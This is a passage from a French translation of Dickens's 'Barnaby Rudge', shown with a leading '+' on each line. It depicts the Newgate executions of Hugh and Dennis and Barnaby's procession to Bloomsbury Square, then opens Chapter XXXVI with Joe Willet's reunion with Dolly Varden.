+Jusqu'à ce moment la foule était restée tranquille, et même, vu
+les circonstances, comparativement silencieuse, excepté quand
+l'arrivée de quelque nouvelle société à une fenêtre encore
+inoccupée fournissait l'occasion de regarder par là et de faire
+quelques observations. Mais, à mesure que l'heure approchait, il
+s'éleva un bourdonnement, un murmure qui, croissant de moment en
+moment, finit par devenir un tumulte assez fort pour remplir l'air
+d'alentour.
+
+Il n'y avait pas moyen d'entendre distinctement des mots ni même
+des voix dans cette clameur, et d'ailleurs on ne se parlait guère
+les uns aux autres: si ce n'est que, par exemple, ceux qui se
+prétendaient mieux informés, disaient peut-être à leurs voisins
+qu'ils reconnaîtraient bien le bourreau quand il paraîtrait, parce
+qu'il était plus petit que l'autre; ou bien que l'homme qui devait
+être pendu avec lui s'appelait Hugh, et que c'était Barnabé Rudge
+qu'on pendrait à Bloomsbury-Square.
+
+À l'approche du moment fatal, le bourdonnement devint si fort, que
+ceux qui étaient aux fenêtres ne pouvaient pas entendre sonner
+l'heure à l'horloge de l'église, quoiqu'elle fût tout près d'eux.
+Il est vrai qu'ils n'avaient pas besoin de l'entendre, ils
+pouvaient bien la voir sur le visage des gens. Il n'y avait pas
+plus tôt un nouveau quart de sonné, qu'il se faisait un mouvement
+dans la foule... comme s'il venait de leur passer quelque chose
+sur la tête... comme s'il y avait un changement subit dans la
+température... et dans ce mouvement on pouvait lire le fait comme
+sur un cadran d'airain avec le bras d'un géant pour aiguille.
+
+Onze heures trois quarts! le murmure devient étourdissant, et
+cependant chacun a l'air d'être muet. Regardez partout où vous
+voudrez dans la foule, et vous ne voyez que des yeux tendus, des
+lèvres serrées. L'observateur le plus vigilant aurait eu bien de
+la peine à vous montrer tel point ou tel autre, et à vous dire:
+«Tenez, c'est l'homme de là-bas qui vient de crier.» Il serait
+aussi facile de voir une huître remuer les lèvres dans son
+écaille.
+
+Onze heures trois quarts! Bon nombre de spectateurs, qui s'étaient
+retirés de leurs fenêtres, reviennent restaurés, comme si c'était
+l'heure juste où ils doivent reprendre leur faction. Ceux qui
+s'étaient endormis se réveillent, et chacun dans la foule fait un
+dernier effort pour se ménager une meilleure place, ce qui
+occasionne une presse effrayante contre les balustrades, et les
+fait céder et ployer sous le poids comme de simples roseaux. Les
+officiers, qui jusque-là s'étaient tenus en groupes, vont
+reprendre leurs positions respectives, et commander la manoeuvre,
+le sabre en main: «Portez armes! «et l'acier poli, en circulant à
+travers la foule, brille et s'agite au soleil comme les eaux d'un
+fleuve. Au milieu de cette traînée éclatante, deux hommes amènent
+vivement un cheval qu'on se dépêche d'atteler à la charrette qui
+est à la porte de la prison; puis un profond silence remplace le
+tumulte qui n'avait fait jusque-là que s'accroître, et après cela
+un moment de calme pendant lequel tout le monde retient sa
+respiration. Pour le coup, chaque croisée était bouchée par les
+têtes etagées les unes sur les autres: les toits grouillaient de
+gens, qui s'attachaient aux cheminées, qui avançaient le corps
+par-dessus les gouttières, qui se tenaient n'importe où, au risque
+de se voir entraînés sur le pavé de la rue par la première tuile
+qui viendrait à leur manquer dans la main. La tour de l'église, le
+toit de l'église, le cimetière de l'église, les plombs de la
+prison, jusqu'aux tuyaux de descente et aux poteaux de réverbères,
+il n'y a pas un pouce de terrain qui ne fourmille de créatures
+humaines.
+
+Au premier coup de midi, la cloche de la prison commença à tinter.
+Alors le tumulte, mêlé maintenant des cris de: «À bas les
+chapeaux!» et de: «Les pauvres diables!» et par-ci par-là dans la
+foule de quelques cris et de quelques gémissements, éclata avec
+une force nouvelle. C'était affreux à voir (si on avait rien pu
+voir dans ce moment d'excitation et de terreur) tout ce pêle-mêle
+d'yeux avides braqués sur l'échafaud et la potence.
+
+Le murmure sourd se faisait entendre dans la prison aussi
+distinctement qu'au dehors. Pendant qu'il résonnait dans l'air, on
+amena les trois prisonniers dans la cour; ils savaient bien ce que
+c'était que tout ce bruit.
+
+«Entendez-vous? cria Hugh, sans en éprouver aucun souci. Ils nous
+attendent. Je les ai entendus qui commençaient à se rassembler,
+quand je me suis éveillé cette nuit, et je me suis retourné de
+l'autre côté pour me rendormir tout de suite. Nous allons voir
+l'accueil qu'ils vont faire au bourreau, à présent que c'est son
+tour. Ha! ha! ha!»
+
+L'aumônier, qui arrivait justement en ce moment, le gronda de sa
+joie indécente et l'avertit de changer de conduite.
+
+«Et pourquoi ça, notre maître? dit Hugh. Qu'est-ce que je peux
+faire de mieux que de ne pas m'en désoler? Il me semble que vous,
+vous ne vous en désolez pas trop non plus. Oh! vous n'avez pas
+besoin de me le dire, cria-t-il au moment où l'autre allait
+parler, vous n'avez pas besoin de prendre vos airs tristes et
+solennels, je sais bien que vous ne vous en souciez guère. On dit
+qu'il n'y a personne comme vous dans Londres pour savoir faire une
+salade de homards. Ha! ha! je savais ça, comme vous voyez, avant
+de venir ici. Allez-vous en avoir une bonne, ce matin? Avez-vous
+jeté un coup d'oeil au déjeuner? J'espère qu'il y en a à gogo pour
+toute cette compagnie affamée qui prendra place à table avec vous,
+quand la comédie sera finie.
+
+-- Je crains bien, fit observer le ministre en secouant la tête,
+que vous ne soyez incorrigible.
+
+-- Vous avez raison. Je le suis, répliqua Hugh sévèrement. Pas
+d'hypocrisie, notre maître. Puisque c'est pour vous un jour de
+plaisir et de régal tous les mois, laissez-moi me régaler et
+prendre du plaisir à ma manière. S'il vous faut absolument un
+garçon qui se meure de peur, il y en a là un qui fera bien votre
+affaire: vous n'avez qu'à essayer votre pouvoir sur lui.»
+
+En même temps il lui montra Dennis que deux hommes tenaient entre
+eux, se traînant à peine sur ses jambes et si tremblant que toutes
+ses articulations et ses jointures avaient l'air d'être agitées
+par des convulsions; puis détournant la tête de cet ignoble
+spectacle, il appela Barnabé qui se tenait à part.
+
+«Courage, Barnabé! ne te laisse pas abattre mon garçon, c'est bon
+pour lui.
+
+-- Ma foi! cria Barnabé, en s'approchant vers lui d'un pas léger,
+je n'ai pas peur, Hugh. Je suis très content. On m'offrirait
+maintenant de me laisser la vie que je n'en voudrais pas;
+regardez-moi, trouvez-vous que j'aie l'air d'avoir peur de mourir?
+Croyez-vous qu'ils pourront me voir trembler, moi?»
+
+Hugh contempla un moment ses traits, où il y avait un sourire
+étrange qui n'était pas de ce monde; son oeil vif étincela, et se
+mettant entre lui et l'aumônier, il murmura rudement quelques mots
+à l'oreille de ce dernier.
+
+«Tenez! notre maître, si j'étais à votre place, je ne lui en
+dirais pas bien long. Vous avez beau avoir l'habitude de ces
+choses-là, cette fois-ci ça pourrait vous gâter l'appétit pour
+votre déjeuner.»
+
+Barnabé était le seul des trois condamnés qui se fût levé et eût
+fait sa toilette le matin. Les autres n'y avaient pas songé
+seulement une fois, depuis que leur sentence avait été prononcée.
+Il portait encore à son chapeau les débris de ses plumes de paon,
+et tous ses atours ordinaires étaient disposés sur sa personne
+avec le même soin. Son oeil de feu, son pas ferme, son port fier
+et résolu, auraient fait honneur à quelque haut exploit de
+véritable héroïsme, à quelque acte de sacrifice volontaire,
+inspiré par une noble cause et un honnête enthousiasme. Quel
+dommage de les voir honorer la mort d'un rebelle!
+
+Mais tout cela ne faisait encore qu'ajouter à son crime. C'était
+le comble de l'audace. Ainsi l'avait déclaré l'arrêt; il fallait
+bien que cela fut. Le bon ministre lui-même avait été grandement
+choqué, pas plus tard qu'un quart d'heure avant, de voir comme il
+avait fait des adieux à Grip. Un homme, dans sa position, s'amuser
+à caresser un oiseau!...
+
+La cour était pleine de gens; de fonctionnaires civils de bas
+étage, d'officiers de justice, de soldats, d'amateurs et
+d'étrangers qu'on avait invités à venir là comme à la noce. Hugh
+regardait autour de lui, faisait d'un air sombre un signe de tête
+à quelque autorité qui lui indiquait de la main par où il devait
+avancer, et, donnant une tape sur l'épaule de Barnabé, il passait
+outre avec la démarche d'un lion.
+
+Ils entrèrent dans une grande chambre, si voisine de l'échafaud
+qu'on pouvait de là très bien entendre ceux qui se tenaient contre
+les barrières, demander avec instance aux hallebardiers de les
+enlever de la foule où ils étouffaient, et d'autres crier à ceux
+de derrière de reculer, au lieu de les fouler à les écraser, et de
+les suffoquer faute d'air.
+
+Au milieu de cette chambre, deux serruriers, avec leurs marteaux,
+se tenaient près d'une enclume. Hugh alla droit à eux, et plaça
+son pied si hardiment sur l'enclume, qu'il la fit résonner comme
+sous le coup de quelque arme pesante. Puis, croisant les bras, il
+resta debout pour se faire ôter ses fers, promenant hautement dans
+la salle ses yeux menaçants sur ceux qui étaient là à le dévisager
+en se chuchotant à l'oreille.
+
+On perdit tant de temps à traîner Dennis, que la cérémonie était
+finie pour Hugh et presque pour Barnabé avant qu'il parût.
+Cependant il ne fut pas plus tôt à cette place qu'il connaissait
+si bien, et au milieu de figures qui lui étaient si familières,
+qu'il retrouva assez de force et de sentiment pour joindre les
+mains et faire un dernier appel à la pitié.
+
+«Messieurs, mes bons messieurs, cria cette abjecte créature,
+rampant sur ses genoux, et finissant par se jeter tout de son long
+étendu sur les dalles: gouverneur, cher gouverneur... honorables
+shériffs... mes dignes gentlemen, prenez pitié d'un pauvre homme
+qui a vécu au service de Sa Majesté, de la justice, du parlement,
+et... ne me laissez pas mourir... par une méprise.
+
+-- Dennis, dit le gouverneur de la prison, vous savez bien comment
+tout cela se fait, et que le mandat d'exécution est venu pour vous
+en même temps que pour les autres. Vous savez bien que nous n'y
+pouvons rien changer, quand nous en aurions l'envie.
+
+-- Tout ce que je demande, monsieur, tout ce que je demande et ce
+que je désire, c'est du temps pour qu'on s'assure du fait, cria le
+pauvre diable tout tremblant, en jetant de tous côtés un regard
+qui implorait la sympathie. Le roi et le gouvernement ne peuvent
+pas savoir que c'est de moi qu'il s'agit; sans cela ils n'auraient
+jamais le coeur de m'envoyer à cette affreuse boucherie. Ils ont
+vu mon nom, mais ils ne savent pas que c'est moi. Retardez mon
+exécution... par charité, retardez mon exécution, mes bons
+messieurs du bon Dieu... jusqu'à ce qu'on soit allé leur dire que
+c'est moi qui suis bourreau ici depuis près de trente ans. Quoi!
+n'y a-t-il personne qui veuille aller le leur dire?» Et en même
+temps il pressait ses mains d'un air suppliant et regardait tout
+autour, tout autour, bien des fois... «N'y a-t-il pas une âme
+charitable qui veuille aller le leur dire?
+
+-- Monsieur Akerman, dit un monsieur qui se trouvait là près de
+lui, après un moment de silence; comme il ne serait pas impossible
+que cette certitude rendît à ce malheureux homme un peu du calme
+désirable en un pareil moment, voulez-vous me permettre de lui
+donner l'assurance qu'on n'ignorait pas, quand on a rendu la
+sentence, que c'était bien lui qui était le bourreau?
+
+-- Oui; mais en ce cas, peut-être n'auront-ils pas cru la peine si
+forte, s'écria le criminel, se traînant aux genoux de
+l'interlocuteur, pour le saisir de ses deux mains, tandis qu'elle
+est plus forte pour moi, cent fois pire que pour tout autre.
+Faites-leur savoir ça, monsieur. Ils m'ont puni plus sévèrement
+rien qu'en m'infligeant la même peine. Retardez mon exécution
+jusqu'à ce qu'ils le sachent.»
+
+Le gouverneur fit un signe, et les deux hommes qui l'avaient
+soutenu s'approchèrent. Il poussa un cri perçant.
+
+«Attendez, attendez! un seul moment! un seul moment encore.
+Laissez-moi cette dernière chance de sursis; il y en a un de nous
+trois qui doit aller à Bloomsbury-Square. Permettez que ce soit
+moi. Le sursis peut venir pendant ce temps-là; je suis sûr qu'il
+va venir. Au nom du ciel! permettez qu'on m'envoie à Bloomsbury-
+Square. Ne me pendez pas ainsi. C'est un assassinat.»
+
+On lui mit le pied sur l'enclume: mais là même on entendait ses
+vociférations au-dessus du fracas des marteaux entre les mains des
+serruriers, et de la rage enrouée de la foule; il criait qu'il
+connaissait la naissance de Hugh... que son père était vivant, et
+que c'était un gentilhomme d'une naissance et d'un rang
+distingués... qu'il possédait des secrets de famille importants;
+qu'il ne pouvait les révéler si on ne lui en donnait pas le temps,
+et qu'on le forcerait à mourir en les ayant sur la conscience.
+Enfin il ne cessa de déraisonner que lorsque la voix lui manqua,
+et qu'il tomba comme un paquet de linge sale entre les mains de
+ses deux gardiens.
+
+C'est à ce moment que l'horloge frappa le premier coup de midi, et
+que la cloche de la prison commença à tinter. Les différents
+employés de la prison, avec deux shériffs à leur tête, se mirent
+en marche vers la porte. Tout était prêt quand le dernier coup de
+l'heure frappa les oreilles.
+
+On en avertit Hugh en lui demandant s'il n'avait pas quelque chose
+à dire.
+
+«À dire! s'écria-t-il; moi, non; je suis tout prêt... Ah! mais si,
+ajouta-t-il en jetant les yeux sur Barnabé; j'ai un mot à dire en
+effet. Viens ici, mon garçon.»
+
+Il y avait en ce moment quelque chose de bon, même de tendre, en
+désaccord avec son visage farouche, quand il saisit son pauvre
+camarade par la main.
+
+«Voilà ce que j'ai à dire, cria-t-il en regardant d'un oeil ferme
+autour de lui; c'est que quand j'aurais dix vies à perdre, et que
+la perte de chacune d'elles devrait me donner dix fois l'agonie de
+la mort la plus douloureuse, je les donnerais toutes... oui,
+messieurs là-bas qui avez l'air de ne pas me croire... je les
+donnerais toutes les dix pour sauver seulement celle-là...
+seulement celle-là, répéta-t-il en serrant encore la main de
+Barnabé... celle qu'il va perdre par ma faute.
+
+-- Ce n'est pas par votre faute, dit l'idiot avec douceur, ne
+dites pas ça; il n'y a pas de reproche à vous faire: vous avez
+toujours été très bon pour moi... Hugh, nous allons enfin savoir
+qu'est-ce qui fait briller les étoiles, à présent.
+
+-- Je l'ai enlevé à sa mère par surprise, sans savoir qu'il dût en
+résulter tant de mal, dit Hugh, lui posant la main sur la tête et
+parlant d'un ton de voix moins élevé; je la prie de me pardonner,
+et toi aussi, Barnabé... Tenez, ajouta-t-il avec énergie,
+regardez! voyez-vous bien ce garçon-là?
+
+-- Oui, oui, murmura-t-on de tous côtés, sans trop savoir pourquoi
+cette question.
+
+-- Le gentleman de là-bas... il montra l'aumônier... m'a souvent
+entretenu ces jours derniers de foi et de ferme croyance. Vous
+voyez tous ce que je suis... plutôt une brute qu'un homme: on me
+l'a dit assez de fois... Eh bien! avec tout cela j'avais assez de
+foi pour croire, et je l'ai cru aussi fortement que pas un de
+vous, messieurs, peut croire quelque chose, que cette vie-là, du
+moins, serait épargnée. Voyez-le! regardez-le!»
+
+Barnabé avait fait un pas vers la porte, où il se tenait debout en
+lui faisant signe de le suivre.
+
+«Si ce n'était pas là de la foi, si ce n'était pas là une ferme
+croyance, cria Hugh, tenant son bras étendu en avant et levant les
+yeux au ciel dans l'attitude d'un prophète sauvage que l'approche
+de la mort a rempli d'une inspiration fatidique, alors c'est qu'il
+n'y en a pas. Quel autre sentiment pouvait m'apprendre... avec une
+naissance comme la mienne et une éducation comme celle que j'ai
+reçue, à espérer encore de la pitié dans ce lieu barbare, cruel,
+impitoyable? Moi qui n'ai jamais joint les mains pour prier,
+j'invoque sur cette boucherie humaine la colère de Dieu; sur cet
+arbre de deuil, dont je vais être le fruit mûr suspendu à la
+branche qui m'attend, j'appelle la malédiction de toutes ses
+victimes, passées, présentes et à venir, sur la tête de l'homme
+qui, dans sa conscience, sait bien que je suis son fils, je dépose
+le voeu qu'il ne meure pas dans son lit de duvet, mais de mort
+violente comme moi, et qu'il n'ait pas d'autre pleureur à ses
+funérailles que le vent de la nuit. Et là-dessus, ainsi soit-il!
+ainsi soit-il!»
+
+Son bras retomba à son côté; il se retourna et se dirigea vers eux
+d'un pas assuré. Il était redevenu le même homme qu'auparavant.
+
+«Vous n'avez rien de plus à dire?» reprit le gouverneur.
+
+Hugh fit signe à Barnabé de ne pas l'approcher (sans porter les
+yeux de son côté), et répondit: «Rien de plus. En avant! À moins,
+dit Hugh, jetant avec vivacité un regard derrière lui, à moins
+qu'il n'y ait parmi vous quelqu'un qui ait envie d'un chien, et
+encore à la condition qu'il le traitera bien. J'en ai un qui
+m'appartient dans la maison d'où je viens, et il serait difficile
+d'en trouver un meilleur. Il commencera bien par grogner un peu,
+mais ça passera... Cela vous étonne que je pense à un chien dans
+un moment comme ça, ajouta-t-il presque en riant; mais, voyez-
+vous, si je connaissais un homme qui le méritât seulement à moitié
+autant que lui, ce n'est pas au chien que je penserais.»
+
+Il n'ajouta plus un mot et alla prendre sa place, d'un air
+insouciant, tout en écoutant cependant le service des morts, avec
+quelque chose comme une attention sombre ou une curiosité vivement
+excitée. Aussitôt qu'il eut passé la porte, on emporta son
+misérable compagnon de supplice... et la foule vit le reste.
+
+Barnabé aurait volontiers monté les marches en même temps
+qu'eux... il avait même voulu les devancer; mais on le retint les
+deux fois, parce que c'était ailleurs qu'il devait subir sa peine.
+Quelques minutes après, les shériffs reparurent. La même
+procession reprit sa marche à travers un grand nombre de passages
+et de corridors, pour passer par une autre porte où la charrette
+attendait. Il baissa la tête pour éviter de voir ce qu'il savait
+bien que ses yeux ne manqueraient pas de rencontrer sans cela, et
+s'assit tristement, quoiqu'avec un certain orgueil et une certaine
+joie d'enfant... sur le véhicule. Les aides prirent leurs places à
+côté, devant et derrière. Les voitures des shériffs vinrent après.
+Un détachement de soldats entoura le tout, et on se mit lentement
+en route à travers les rangs pressés de la foule, pour arriver à
+la maison en ruines de lord Mansfield.
+
+C'était bien triste à voir... tout cet appareil, toute cette force
+déployée, toutes ces baïonnettes étincelantes autour d'une
+créature sans défense... Mais ce qui était plus triste encore,
+c'était de remarquer comme tout le long du chemin ses pensées
+errantes trouvaient un étrange encouragement dans le spectacle de
+ces fenêtres garnies de curieux et de la multitude qui encombrait
+les rues; c'était d'observer comme dans ce moment-là même il se
+montrait sensible à l'influence du beau ciel bleu dont il semblait
+chercher à pénétrer, le sourire sur les lèvres, la profondeur
+impénétrable. Mais on avait déjà vu tant de scènes pareilles
+depuis la fin des émeutes; on en avait vu de si attendrissantes,
+de si repoussantes, qu'elles avaient bien plutôt réussi à éveiller
+la pitié pour les victimes que le respect de la Loi, dont le bras
+rigoureux semblait, dans bien des cas, s'être appesanti avec
+autant de barbare plaisir, une fois le danger passé, qu'elle
+s'était montrée, lâchement paralysée dans le péril de la crise.
+
+Deux boiteux...deux vrais enfants... l'un avec une jambe de bois,
+l'autre traînant, à l'aide d'une béquille, ses membres tout
+tortillés, furent pendus à cette même place de Bloomsbury-Square.
+Quand la charrette fut au moment de glisser sous leurs pieds pour
+consommer leur supplice, on s'aperçut qu'ils tournaient le dos au
+lieu de tourner la face à la maison qu'ils avaient aidé à piller,
+et on prolongea leur angoisse pour réparer cet oubli. On pendit
+aussi dans Bowstreet un autre petit garçon; d'autres jeunes gars
+eurent le même sort dans divers quartiers de la ville; quatre
+malheureuses femmes furent mises à mort: en un mot, ceux qu'on
+exécuta comme insurgés n'étaient guère, pour la plupart, que les
+plus faibles, les plus vulgaires, les plus misérables d'entre eux.
+La meilleure satire qu'on pût faire du fanatisme hypocrite qui
+avait servi de prétexte à tous ces maux, c'est qu'un certain
+nombre de ces malheureux déclarèrent qu'ils étaient catholiques,
+et demandèrent des prêtres de cette religion pour les assister à
+leurs derniers moments.
+
+On pendit dans Bishopsgate-Street un jeune homme dont le vieux
+père avec sa tête grise attendait son arrivée au pied de la
+potence pour l'embrasser, et s'assit là par terre, jusqu'à ce
+qu'on eût descendu le corps. On lui aurait bien fait cadeau du
+cadavre de son fils; mais il n'avait ni corbillard, ni bière, ni
+rien pour l'emporter: il était trop pauvre! il fallut qu'il se
+contentât de la satisfaction de marcher tout bonnement à côté de
+la charrette qui ramenait son enfant à la prison, essayant, le
+long du chemin, de toucher au moins sa main sans vie.
+
+Mais la foule avait oublié ces détails, ou, si elle n'en avait pas
+perdu la mémoire, elle ne s'en souciait guère; et, pendant qu'une
+multitude nombreuse se battait et tempêtait pour s'approcher du
+gibet devant Newgate, afin d'y jeter un dernier coup d'oeil avant
+de s'en séparer, il y en avait une autre qui suivait l'escorte du
+pauvre Barnabé, pour aller grossir la foule qui l'attendait sur
+les lieux.
+
+
+
+
+CHAPITRE XXXVI.
+
+
+Le même jour, et presque à la même heure, M. Willet senior fumait
+sa pipe sur sa chaise, dans une chambre du _Lion Noir_. Quoiqu'on
+fût en pleine chaleur d'été, M. Willet était assis tout contre le
+feu. Il était plongé dans une profonde méditation, tout entier à
+ses propres pensées, auquel cas il ne manquait jamais de se
+mijoter à l'étuvée, persuadé que ce procédé de cuisson était
+favorable pour mettre en fusion ses idées, qui, lorsqu'il
+commençait à mitonner, se mettaient quelquefois à couler assez
+copieusement pour l'étonner lui-même.
+
+Mille et mille fois déjà, les amis et connaissances de M. Willet,
+pour le consoler, lui avaient donné l'assurance que, pour se
+récupérer des pertes et dommages qu'il avait soufferts dans le
+pillage du Maypole, il pouvait avoir «un recours sur le comté.»
+Mais comme cette manière de parler avait le malheur de ressembler
+à cette expression populaire: «avoir recours à la paroisse,[7]»
+M. Willet ne voyait dans ces consolations prétendues qu'un
+paupérisme déguisé, sur une plus grande échelle peut-être, mais
+qui n'en était pas moins le signe de sa ruine à un point de vue
+plus étendu. En conséquence, il n'avait jamais manqué de recevoir
+ces communications par un mouvement de tête douloureux, ou par de
+grands yeux hébétés, de sorte qu'on le voyait toujours plus
+mélancolique après une visite de condoléance, qu'à tout autre
+moment des vingt-quatre heures de chaque journée.
+
+Cependant le hasard voulut que, se trouvant assis devant le feu
+dans cette occasion particulière, soit qu'il fût déjà, pour ainsi
+dire, rissolé à point, soit qu'il fût dans un état d'esprit plus
+gaillard que d'habitude, soit par un heureux concours de ces deux
+circonstances combinées... le hasard voulut que, se trouvant assis
+dans cette occasion particulière, M. Willet aperçût de loin, dans
+les profondeurs les plus reculées de son intellect, une espèce
+d'idée cachée, ou de faible probabilité qu'il y avait peut-être à
+tirer sur la bourse publique des fonds applicables à la
+restauration du Maypole, pour lui faire reprendre son ancienne
+splendeur parmi les tavernes de ce monde. Et ce rayon mystérieux
+de lumière encore incertaine se fit tout doucement si bien jour au
+dedans de lui, qu'il finit par y prendre feu, et par l'illuminer
+d'une pensée claire et visible à ses yeux, comme le brasier devant
+lequel il était assis. Enfin, bien convaincu qu'il avait les
+premiers honneurs de cette découverte; que c'était lui qui avait
+levé, chassé, visé et abattu d'un bon coup à la tête une idée
+parfaitement originale, qui ne s'était jamais jusque-là présentée
+à aucun homme, mort ou vivant, il posa sa pipe pour se frotter les
+mains, et rit à gorge déployée.
+
+«Eh mais! père, lui cria Joe, qui entrait en ce moment, vous êtes
+bien gai, aujourd'hui!
+
+-- Oh! rien de particulier, dit M. Willet, continuant de rire de
+bon coeur, rien du tout de particulier, Joseph. Voyons! contez-moi
+quelque chose de cette Savaigne.»
+
+Et, après avoir exprimé ce désir, M. Willet eut un troisième accès
+de rire, et interrompit ces démonstrations d'humeur légère qui ne
+lui étaient pas ordinaires, en remettant sa pipe entre ses dents.
+
+«Que voulez-vous que je vous dise, père? répondit Joe en posant la
+main sur l'épaule paternelle, et en regardant son visage en face;
+que me voilà revenu plus pauvre qu'un rat d'église? Ce n'est pas
+nouveau pour vous. Ou bien que me voilà revenu mutilé et estropié?
+C'est encore quelque chose qui n'est pas nouveau pour vous.
+
+-- On l'a coupé, marmotta M. Willet, toujours les yeux fixés sur
+le feu, à la défense de la Savaigne, en Amérique, dans le pays où
+on fait la guerre.
+
+-- C'est bien cela, répliqua Joe, souriant et s'appuyant, avec le
+coude qui lui restait, sur le dos du fauteuil de son père. C'est
+justement le sujet dont je venais causer avec vous. Un homme qui
+n'a plus qu'un bras, père, ne peut pas servir à grand'chose dans
+l'activité générale de ce monde.
+
+C'était là une de ces propositions vastes auxquelles M. Willet
+n'avait jamais réfléchi et qui méritaient mûre considération.
+Aussi ne répondit-il pas.
+
+«Dans tous les cas, reprit Joe, il n'est pas libre de prendre et
+de choisir ses moyens d'existence comme un autre. Il ne peut pas
+dire: «Je vais mettre la main à ceci,» ou: «Je ne veux pas mettre
+la main à cela;» il faut qu'il prenne ce qu'il trouve, et encore
+qu'il se trouve heureux de n'être pas réduit à pis... Plaît-il?»
+
+M. Willet venait, en effet, de se répéter tout bas à lui-même,
+d'un air rêveur, les mots: «Défense de la Savaigne,» mais il parut
+embarrassé d'avoir été entendu, et répondit: «Rien.
+
+-- Maintenant, écoutez bien, père. M. Édouard est revenu en
+Angleterre des Indes occidentales. À l'époque où on l'a perdu de
+vue (vous savez, père, le même jour où je me sauvai de mon côté),
+il a fait un voyage dans une île de ce pays-là, où s'était établi
+un de ses camarades de collège. Quand il l'eut retrouvé là, il ne
+se crut pas déshonoré de prendre un emploi dans son domaine et...
+et, bref, il y a bien fait ses affaires; il y prospère, il a fait
+ici un voyage pour son compte, et va y retourner au plus tôt.
+C'est un bonheur de toute manière que nous soyons revenus à peu
+près en même temps, et que nous nous soyons rencontrés dans les
+derniers troubles: car non seulement ce fut pour nous l'occasion
+de rendre service à d'anciens amis; mais cette circonstance m'a
+procuré l'avantage de pouvoir me tirer d'affaire sans être à
+charge à personne. En un mot, père, il peut me donner de
+l'occupation; de mon côté, je me suis assuré que je peux lui être
+de quelque utilité, et je m'en vais emporter mon unique bras à son
+service pour en tirer le meilleur parti possible.»
+
+Aux yeux intellectuels de M. Willet, les Indes occidentales, ou
+plutôt toute contrée étrangère, n'étaient habitées que par des
+nations sauvages qui ne faisaient toute la journée qu'enterrer le
+calumet de paix, brandir des tomahawks, et se tatouer sur le corps
+des dessins plus étranges les uns que les autres. Il n'eut donc
+pas plus tôt entendu cette déclaration qu'il se renversa sur son
+fauteuil, tira sa pipe de ses lèvres, et fixa sur son fils des
+yeux aussi effarés que s'il le voyait déjà attaché à un pieu, et
+livré aux plus cruelles tortures pour l'amusement d'une population
+folâtre. Quelle forme allait-il donner à l'expression de ce
+sentiment, c'est ce qu'on n'a jamais pu savoir; mais peu importe,
+d'ailleurs: car, avant qu'il eût pu trouver une syllabe, Dolly
+Varden accourut dans la chambre, toute en larmes, se jeta sur le
+sein de Joe, sans un mot d'explication, et lui passa ses bras
+blancs autour du cou.
+
+«Dolly! cria Joe. Dolly!
+
+-- Oui, appelez-moi comme ça, toujours comme ça, s'écria la petite
+demoiselle du serrurier. Et ne me parlez plus avec froideur; ne me
+tenez pas à distance, comme vous faisiez; ne m'en veuillez plus
+jamais de mes folies, dont je me suis depuis longtemps repentie,
+ou vous me ferez mourir de chagrin, Joe.
+
+-- Moi vous en vouloir! dit Joe.
+
+-- Oui... car chaque mot de bonté et de sincère franchise que vous
+prononciez m'allait au coeur; car vous, qui avez tant souffert
+avec moi... car vous, qui ne devez qu'à mes caprices toutes vos
+peines et vos chagrins... quand je vous vois si bon... si noble
+pour moi, Joe...»
+
+Il ne put rien lui dire, pas une syllabe, il y avait bien une
+sorte d'éloquence assez drôle dans son bras gauche qui lui avait
+serré la taille; mais, quant à ses lèvres, elles étaient muettes.
+
+«Encore, si vous m'aviez rappelé par un mot... seulement un petit
+mot... continua Dolly, sanglotant, et s'attachant encore à lui de
+plus près, que je ne méritais pas la patience que vous m'aviez
+montrée; si vous vous étiez un seul moment prévalu de votre
+triomphe, j'en aurais eu moins de chagrin.
+
+-- Mon triomphe!» répéta Joe, avec un sourire qui semblait dire:
+«Avec cela que je suis un beau garçon pour triompher!
+
+-- Oui, votre triomphe, criait-elle, toujours de tout son coeur et
+de toute son âme, qui éclataient dans sa voix et dans les larmes
+dont étaient inondées ses joues, car c'en est un. Je suis heureuse
+de penser et de reconnaître que c'en est un. Je ne voudrais pas
+pour tout au monde me sentir moins humiliée... Oh non! je ne
+voudrais pas avoir perdu le souvenir de ce dernier soir où nous
+nous sommes entretenus ici même... non, non, quand même je
+pourrais effacer le passé de ma mémoire, et qu'il dépendrait de
+moi que ce fût hier seulement que notre séparation eût eu lieu.»
+
+Jamais vous n'avez vu regard d'amoureux comme celui de Joe en ce
+moment.
+
+«Cher Joe, dit Dolly, je vous ai toujours aimé... oui, dans le
+fond du coeur je vous aimais toujours, malgré ma vanité et mes
+étourderies. J'avais espéré que vous reviendriez ce soir-là. Je
+m'étais figuré que vous n'y manqueriez pas. J'en ai fait au ciel
+la prière à deux genoux. Et dans tout le cours de ces longues,
+longues années que vous avez passées loin de moi, jamais je n'ai
+cessé de penser à vous, et d'espérer qu'enfin nous aurions un jour
+le bonheur d'être réunis.»
+
+L'éloquence du bras de Joe surpassa toute celle du langage le plus
+passionné; et celle de ses lèvres, donc!... Et cependant, avec
+tout cela, il ne disait pas un mot.
+
+«Et maintenant enfin, cria Dolly toute palpitante de l'ardeur
+qu'elle mettait dans ses paroles, quand vous seriez malade,
+estropié de tous vos membres, valétudinaire, infirme, morose;
+quand même, au lieu d'être ce que vous êtes, vous ne seriez aux
+yeux de tout le monde, non pas aux miens, qu'un débris, qu'une
+ruine, plutôt qu'un homme, je n'en serais pas moins votre femme,
+votre bonne amie, avec plus d'orgueil et de joie que si vous étiez
+le lord le plus magnifique de toute l'Angleterre.
+
+-- Qu'ai-je fait, s'écria Joe à son tour, qu'ai-je donc fait pour
+obtenir une telle récompense?
+
+-- Vous m'avez appris, dit Dolly, levant vers lui sa jolie figure,
+à me connaître et à vous apprécier; à valoir un peu mieux que je
+ne valais; à mieux me rendre digne de votre brave et virile
+nature. Plus tard, cher Joe, vous verrez avec le temps que vous
+m'avez appris tout cela: car je veux être, non seulement à présent
+que nous sommes jeunes et pleins d'espérance, mais encore quand
+nous serons devenus vieux et cassés, je veux être votre douce,
+votre patiente, votre infatigable petite femme. Je ne veux plus
+avoir de pensée ni de soin que pour notre ménage et pour vous; je
+veux m'étudier sans cesse à vous plaire par le témoignage constant
+de ma plus vive affection et de mon amour le plus dévoué. Je le
+veux, oh oui, je le veux!»
+
+Joe ne put que répéter ses premiers mouvements d'éloquence,
+mais... c'était bien tout ce qu'il pouvait faire de mieux
+approprié à la circonstance.
+
+«Ils le savent à la maison; dit Dolly. Pour vous suivre, je les
+quitterais, s'il le fallait; mais je n'en ai pas besoin; ils
+savent tout, et ils en sont charmés; ils sont aussi fiers de vous
+que moi-même, et aussi pleins de reconnaissance...Ne viendrez-vous
+pas me voir, comme un pauvre cher ami qui m'a connue, quand
